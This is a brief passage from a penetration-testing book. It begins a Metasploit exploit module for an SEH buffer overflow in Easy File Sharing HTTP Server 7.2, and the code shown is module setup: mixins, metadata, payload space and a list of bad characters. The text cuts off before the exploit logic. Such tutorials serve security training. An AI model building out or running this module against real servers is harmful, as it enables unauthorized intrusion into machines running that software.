Metasploit Revealed: Secrets of the Expert Pentester

Writing the Metasploit SEH exploit module

Now that we have all the important data for exploiting the target application, let's go ahead and create an exploit module in Metasploit as follows:

require 'msf/core' 
 
class Metasploit4 < Msf::Exploit::Remote 
 
  Rank = NormalRanking 
 
  include Msf::Exploit::Remote::Tcp 
  include Msf::Exploit::Seh

 def initialize(info = {}) super(update_info(info, 'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow', 'Description' => %q{ This module demonstrate SEH based overflow example }, 'Author' => 'Nipun', 'License' => MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 390, 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", }, 'Platform' ...